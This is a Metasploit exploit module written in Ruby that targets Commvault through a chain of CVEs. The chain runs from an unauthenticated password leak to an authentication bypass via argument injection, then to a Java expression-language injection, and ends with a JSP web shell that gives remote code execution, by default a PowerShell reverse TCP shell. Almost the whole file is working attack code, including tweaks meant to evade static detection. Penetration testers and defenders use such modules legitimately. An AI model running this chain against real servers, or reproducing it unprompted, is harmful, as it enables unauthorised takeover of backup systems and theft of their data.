Commvault Command-Line Argument Injection to Traversal Remote Code Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Commvault Command-Line Argument Injection to Traversal Remote Code Execution',
        'Description' => %q{
          This module exploits an unauthenticated remote code execution exploit chain for Commvault,
          tracked as CVE-2025-57790 and CVE-2025-57791. A command-line injection permits unauthenticated
          access to the 'localadmin' account, which then facilitates code execution via expression
          language injection. CVE-2025-57788 is also leveraged to leak the target host name, which is
          necessary knowledge to exploit the remote code execution chain. This module executes in
          the context of 'NETWORK SERVICE' on Windows.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Sonny Macdonald', # Original discovery
          'Piotr Bazydlo', # Original discovery
          'remmons-r7' # MSF exploit
        ],
        'References' => [
          ['CVE', '2025-57790'],
          ['CVE', '2025-57791'],
          ['CVE', '2025-57788'],
          # Argument injection advisory
          ['URL', 'https://documentation.commvault.com/securityadvisories/CV_2025_08_1.html'],
          # Path traversal advisory
          ['URL', 'https://documentation.commvault.com/securityadvisories/CV_2025_08_2.html'],
          # Non-blind expression language payload (from an Ivanti EPMM exploit chain)
          ['URL', 'https://blog.eclecticiq.com/china-nexus-threat-actor-actively-exploiting-ivanti-endpoint-manager-mobile-cve-2025-4428-vulnerability']
        ],
        'DisclosureDate' => '2025-08-19',
        # Runs as the 'NETWORK SERVICE' user on Windows
        'Privileged' => false,
        # Although Linux installations are also affected, I didn't establish a reliable full path leak on the older Linux version I tested
        'Platform' => ['windows'],
        'Arch' => [ARCH_CMD],
        'DefaultTarget' => 0,
        'Targets' => [
          [
            'Default', {
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp',
                'SSL' => true
              },
              'Payload' => {
                # The ampersand character isn't properly embedded in payloads sent to the web API, so use a base64 PowerShell command instead
                'BadChars' => '&'
              }
            }
          ]
        ],
        'Notes' => {
          # Confirmed to work multiple times in a row
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          # The log files will contain IOCs, including the written web shell path
          # If successful, an abnormal XML file and web shell will be written to disk (will attempt automatic cleanup of JSP file)
          # The localadmin user's description will be updated to include the expression language payload (although this should be reverted)
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, CONFIG_CHANGES]
        }
      )
    )

    register_options(
      [
        Opt::RPORT(443),
        OptString.new('TARGETURI', [true, 'The base path to Commvault', '/'])
      ]
    )
  end

  def check
    # Query an unauthenticated web API endpoint to attempt to extract the PublicSharingUser GUID password
    res = check_commvault_info

    return CheckCode::Unknown('Failed to get a response from the target') unless res

    # If the response body contains "cv-gorkha", we assume it's Commvault
    if res.code == 200 && res.body.include?('cv-gorkha')
      vprint_status('The server returned a body that included the string cv-gorkha, looks like Commvault')

      regex = /"cv-gorkha\\":\\"([a-zA-Z0-9-]+)\\"/
      sharinguser_pass = res.body.scan(regex)[0][0]

      # If the regex fails to extract the GUID, we return Safe
      if sharinguser_pass.blank?
        return CheckCode::Safe('The target returned an unexpected response that did not contain the desired GUID')
      end

      vprint_good("Fetched GUID: #{sharinguser_pass}")

      vprint_status('Attempting to login as PublicSharingUser')
      res = login_as_publicsharinguser(sharinguser_pass)

      return CheckCode::Unknown('Failed to get a response from the target') unless res

      if res.code != 200
        CheckCode::Detected('Commvault detected, login as PublicSharingUser failed because a non-200 status was returned')
      end

      # Extract the token from the login response
      regex = /(QSDK [a-zA-Z0-9]+)/
      psu_token = res.body.scan(regex)[0][0]

      if psu_token.blank?
        CheckCode::Detected('Commvault detected, login as PublicSharingUser failed because no token was returned')
      else
        vprint_good("Authenticated as PublicSharingUser, got token: #{psu_token}")
        return CheckCode::Vulnerable('Successfully authenticated as PublicSharingUser')
      end

    else
      return CheckCode::Safe('The target server did not provide a response with the expected password leak')
    end
  end

  def check_commvault_info
    vprint_status('Attempting to query the publicLink.do endpoint')
    send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'commandcenter', 'publicLink.do')
    )
  end

  def leak_target_info
    # The 'activeMQConnectionURL' leak depicted in the finder blog post is not present on many systems by default
    # CVE-2025-57788 can be exploited to access an authenticated web API endpoint that leaks host name and OS info
    psu_pass = extract_publicsharinguser_pass

    vprint_status("Attempting PublicServiceUser login using: #{psu_pass}")
    res = login_as_publicsharinguser(psu_pass)

    fail_with(Failure::Unknown, 'Failed to get a response from the target') unless res

    if res.code != 200
      fail_with(Failure::NotVulnerable, 'Login as PublicSharingUser failed (non-200 status), the target is likely not vulnerable')
    end

    # Extract the token from the login response
    regex = /(QSDK [a-zA-Z0-9]+)/
    psu_token = res.body.scan(regex)[0][0]

    if psu_token.blank?
      fail_with(Failure::NotVulnerable, 'Login as PublicSharingUser failed (no token returned), the target is likely not vulnerable')
    end

    vprint_good("Authenticated as PublicSharingUser, got token: #{psu_token}")

    res = get_host_info(psu_token)

    fail_with(Failure::Unknown, 'Failed to get a response from the target') unless res

    if res.code != 200
      fail_with(Failure::Unknown, 'Failed to get host info, the target returned a non-200 status')
    end

    regex = /hostName="([^"]+)" /
    # Extract value, and make sure it isn't a FQDN for systems that are joined to a domain (strip period and anything after, if present)
    hostname = res.body.scan(regex)[0][0].split('.').first

    regex = /osType="([^"]+)" /
    target_os = res.body.scan(regex)[0][0]

    if hostname.blank? || target_os.blank?
      fail_with(Failure::UnexpectedReply, 'The target response unexpectedly did not provide a host name or OS string')
    end

    return hostname, target_os
  end

  def extract_publicsharinguser_pass
    # Fetch and extract the GUID that serves double-duty as the internal _+*PublicSharingUser_* user's password
    res = check_commvault_info

    fail_with(Failure::Unknown, 'Failed to get a response from the target') unless res

    # If the response body contains "cv-gorkha", we assume it's Commvault
    if res.code == 200 && res.body.include?('cv-gorkha')
      vprint_status('The server returned a body that included the string cv-gorkha, looks like Commvault')

      regex = /"cv-gorkha\\":\\"([a-zA-Z0-9-]+)\\"/
      sharinguser_pass = res.body.scan(regex)[0][0]

      # If the regex fails to extract the GUID, we return NoAccess
      if sharinguser_pass.blank? && hostname.blank?
        fail_with(Failure::NoAccess, 'The target server is Commvault, but the PublicSharingUser password could not be leaked')
      end

      vprint_good("Fetched GUID: #{sharinguser_pass}")
      return sharinguser_pass
    else
      fail_with(Failure::UnexpectedReply, 'The target server did not provide a response with the expected password leak')
    end
  end

  def login_as_publicsharinguser(password)
    # Use the leaked GUID value to login as the _+*PublicSharingUser_* user (CVE-2025-57788)
    # This level of access is used to leak the host name via a low-privilege authenticated API endpoint

    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'commandcenter', 'api', 'Login'),
      'ctype' => 'application/json',
      'data' => {
        'username' => '_+_PublicSharingUser_',
        # Passwords are base64 encoded for login
        'password' => Base64.strict_encode64(password)
      }.to_json
    )
  end

  def get_host_info(token)
    # Extract the host name and OS from an authenticated API as PublicServiceUser
    vprint_status('Attempting to query authenticated API endpoint to get host name and OS')

    send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'commandcenter', 'api', 'CommServ'),
      'headers' => {
        'Authtoken' => token
      }
    )
  end

  def bypass_authentication(hostname)
    # Bypass authentication and return a valid token for the internal localadmin user
    vprint_status("Attempting to mint a localadmin token using hostname: #{hostname}")

    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'commandcenter', 'api', 'Login'),
      'ctype' => 'application/json',
      'data' => {
        # Username must contain the valid system host name
        'username' => "#{hostname}_localadmin__",
        # Since the malicious password to bypass authentication is a static string, randomly pad with spaces to subvert easy static detections
        'password' => Base64.strict_encode64("#{' ' * rand(1..8)}a#{' ' * rand(1..8)}-localadmin#{' ' * rand(1..8)}"),
        # Must contain the valid system host name, cannot be padded with spaces
        'commserver' => "#{hostname} -cs #{hostname}"
      }.to_json
    )
  end

  def leak_full_path(token)
    # Since we need to provide a full filesystem path to write the web shell, we need to know what the installation path is
    # We'll attempt to use an authenticated API to leak this information
    send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'commandcenter', 'api', 'Workflow'),
      'ctype' => 'application/json',
      'headers' => {
        'Authtoken' => token,
        'Accept' => 'application/json'
      }
    )
  end

  def get_user_desc(token, uid)
    # Grab the pre-existing user description to reinstate after exploitation
    res = send_request_cgi(
      'method' => 'GET',
      'ctype' => 'application/json',
      'uri' => normalize_uri(target_uri.path, 'commandcenter', 'RestServlet', 'User', uid),
      'headers' => {
        'Authtoken' => token,
        'Accept' => 'application/json'
      }
    )

    fail_with(Failure::Unknown, 'No response when getting user description') unless res

    if res.code != 200
      fail_with(Failure::UnexpectedReply, 'The target did not return a 200 code when checking the user description')
    end

    res.get_json_document['users'][0]['description']
  end

  def update_user_desc(token, uid, desc)
    # Perform a request to update the user description
    xml_data = "<App_UpdateUserPropertiesRequest><users><AppMsg.UserInfo><userEntity><userId>#{uid}</userId></userEntity><description>#{desc}</description></AppMsg.UserInfo></users></App_UpdateUserPropertiesRequest>"
    vprint_status("Updating user description: #{xml_data}")

    send_request_cgi(
      'method' => 'POST',
      'ctype' => 'application/xml',
      'uri' => normalize_uri(target_uri.path, 'commandcenter', 'RestServlet', 'User', uid),
      'headers' => {
        'Authtoken' => token
      },
      'data' => xml_data
    )
  end

  def execute_command(hostname, uid, cmd, token, install_path, prev_desc)
    # This EL injection payload was taken from EITW of an Ivanti vuln. It's non-blind, which is a nice benefit
    # Note that ampersand is a bad character in the injection context
    payload = "${''.getClass().forName('java.util.Scanner').getConstructor(''.getClass().forName('java.io.InputStream')).newInstance(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('#{cmd}').getInputStream()).useDelimiter('%5C%5CA').next()}"

    # Weaponize unauthenticated file upload to create an XML file that defines an operation to retrieve user details
    user_details_op_xml = "<App_GetUserPropertiesRequest level=\"30\">\r\n\t<user userName=\"#{hostname}_localadmin__\" /></App_GetUserPropertiesRequest>"
    message = Rex::MIME::Message.new

    # These can be anything. Random hex str to avoid signatures where possible
    random_str = rand_text_hex(8)
    message.add_part(random_str, nil, nil, 'form-data; name="username"')
    message.add_part(random_str, nil, nil, 'form-data; name="password"')
    message.add_part(random_str, nil, nil, 'form-data; name="ccid"')
    message.add_part(random_str, nil, nil, 'form-data; name="uploadToken"')

    # File contents to write
    message.add_part(user_details_op_xml, nil, nil, "form-data; name=\"file\"; filename=\"#{random_str}.xml\"")

    vprint_status("Uploading XML file: #{user_details_op_xml}")

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'commandcenter', 'metrics', 'metricsUpload.do'),
      'ctype' => "multipart/form-data; boundary=#{message.bound}",
      'data' => message.to_s
    )

    fail_with(Failure::Unknown, 'No response when uploading XML file') unless res

    if res.code != 200
      vprint_status("Unexpected status code: #{res.code}")
      fail_with(Failure::UnexpectedReply, 'Non-200 status code when uploading XML file')
    end

    # The localadmin user's description is set to EL payload
    res = update_user_desc(token, uid, payload)

    fail_with(Failure::Unknown, 'No response when setting user description') unless res

    if res.code != 200
      fail_with(Failure::UnexpectedReply, 'The target did not return a 200 code when updating user description')
    end

    # Wrap in begin/ensure so that the injection in localadmin user description will be cleaned up
    begin
      # Move XML file to web shell
      qcommand_op = "qoperation execute -af #{install_path}\\Reports\\MetricsUpload\\Upload\\#{random_str}\\#{random_str}.xml -file #{install_path}\\Apache\\webapps\\ROOT\\#{random_str}.jsp"

      vprint_status("Moving XML file to web shell: #{qcommand_op}")

      res = send_request_cgi(
        'method' => 'POST',
        'ctype' => 'text/plain',
        'uri' => normalize_uri(target_uri.path, 'commandcenter', 'RestServlet', 'QCommand'),
        'headers' => {
          'Authtoken' => token
        },
        'data' => qcommand_op
      )

      fail_with(Failure::Unknown, 'No response when creating web shell') unless res

      if res.code != 200 || !res.body.include?('Operation Successful.Results written')
        fail_with(Failure::UnexpectedReply, 'The target did not return a 200 code with success message when creating web shell')
      end

      # Register the newly written JSP web shell file for cleanup
      register_file_for_cleanup("#{install_path}\\Apache\\webapps\\ROOT\\#{random_str}.jsp")

      # Access the web shell to trigger remote code execution
      vprint_status("Accessing the web shell file: #{random_str}.jsp")

      send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path, "#{random_str}.jsp")
      }, nil)
    ensure
      # Reinstate the pre-existing user description
      res = update_user_desc(token, uid, prev_desc)

      fail_with(Failure::Unknown, 'No response when resetting user description') unless res

      if res.code != 200
        fail_with(Failure::UnexpectedReply, 'The target did not return a 200 code when resetting user description')
      end
    end
  end

  def parse_json(json_inp, hostname)
    # Extract full path disclosure for the target host from the parameter #1 API response JSON

    container = Array(json_inp['container'])
    deployments = container.flat_map { |c| Array(c['deployments']) }

    # Find "{drive}:\\"" + any number of intermediary directories + "\\Commvault\\ContentStore", and only where sibling 'clientName' is the Commvault server
    regex = /([A-Z]:\\(?:[^\\]+\\)*Commvault\\ContentStore)\\?/i

    # This gets a little gnarly, but it has worked for all the test data I have tried (including Commvault documentation example responses)
    # Can't simply search for Windows file path patterns here, because this API endpoint also returns some file paths from other hosts
    paths = deployments
            .select { |d| d.dig('client', 'clientName')&.casecmp?(hostname) }
            .map { |d| d.dig('inputForm', 'destPath') }
            .compact
            .map { |p| p.tr('/', '\\') }
            .filter_map { |p| p[regex, 1] }

    if paths.blank?
      fail_with(Failure::NotFound, 'The target unexpectedly did not return a full path disclosure')
    end

    # Return the first full path disclosure and swap the double backslashes for single (for use in QOperation rejects double backslashes)
    paths[0].gsub('\\\\', '\\')
  end

  def exploit
    # Leak the PublicSharingUser GUID password, authenticate, then query an authenticated API endpoint for target info
    leaked = leak_target_info

    hostname = leaked[0]
    target_os = leaked[1]

    if hostname.blank? || target_os.blank?
      fail_with(Failure::Unknown, 'Unexpectedly unable to query target system details as PublicSharingUser')
    end

    vprint_good("Got target host name: #{hostname}")
    vprint_good("Got target host OS: #{target_os}")

    # Check to confirm the target is supported
    if (target_os.casecmp('windows') != 0)
      fail_with(Failure::BadConfig, 'This module only supports Windows targets')
    end

    # Attempt to use the host name to exploit the authentication bypass and retrieve a localadmin token
    res = bypass_authentication(hostname)

    fail_with(Failure::Unknown, 'Failed to get a response from the target') unless res

    # If the response is 200 and includes the token prefix, grab that token
    if res.code == 200 && res.body.include?('"QSDK ')
      print_good('Successfully bypassed authentication')

      # Extract token for later use (cookie is also persisted)
      regex = /(QSDK [a-zA-Z0-9]+)/
      admin_token = res.body.scan(regex)[0][0]

      vprint_status("Admin token: #{admin_token}")

      # Extract the aliasName field, which contains the dynamic user ID number (typically single digit)
      regex = /aliasName[=:]"(\d\d?)/
      admin_uid = res.body.scan(regex)[0][0]
      vprint_status("Extracted localadmin user ID number: #{admin_uid}")

    # If the response doesn't contain the admin token, the exploit has failed
    else
      fail_with(Failure::NoAccess, 'The authentication bypass failed - the target may not be vulnerable, or perhaps the host name leak failed')
    end

    # Hit the admin-only web API endpoint that leaks one or more full Windows file paths
    res = leak_full_path(admin_token)

    fail_with(Failure::Unknown, 'Failed to get a response from the target') unless res

    if res.code != 200
      fail_with(Failure::Unknown, 'The target returned a non-200 status when attempting to leak full path')
    end

    # Assign the JSON response body
    leaked_json = res.get_json_document

    vprint_status('Got JSON response, searching for installation path disclosures')

    # Parse the JSON and find entries matching the host name, then walk to an adjacent key to leak installation path
    install_path = parse_json(leaked_json, hostname)
    vprint_good("Leaked the installation path: #{install_path}")

    # Grab the pre-existing user description to reinstate after RCE is established
    user_desc = get_user_desc(admin_token, admin_uid)

    vprint_status("Got user description: #{user_desc}")

    # Plant malicious code in user description, upload XML file for user info, then create the web shell
    execute_command(hostname, admin_uid, payload.encoded, admin_token, install_path, user_desc)
  end
end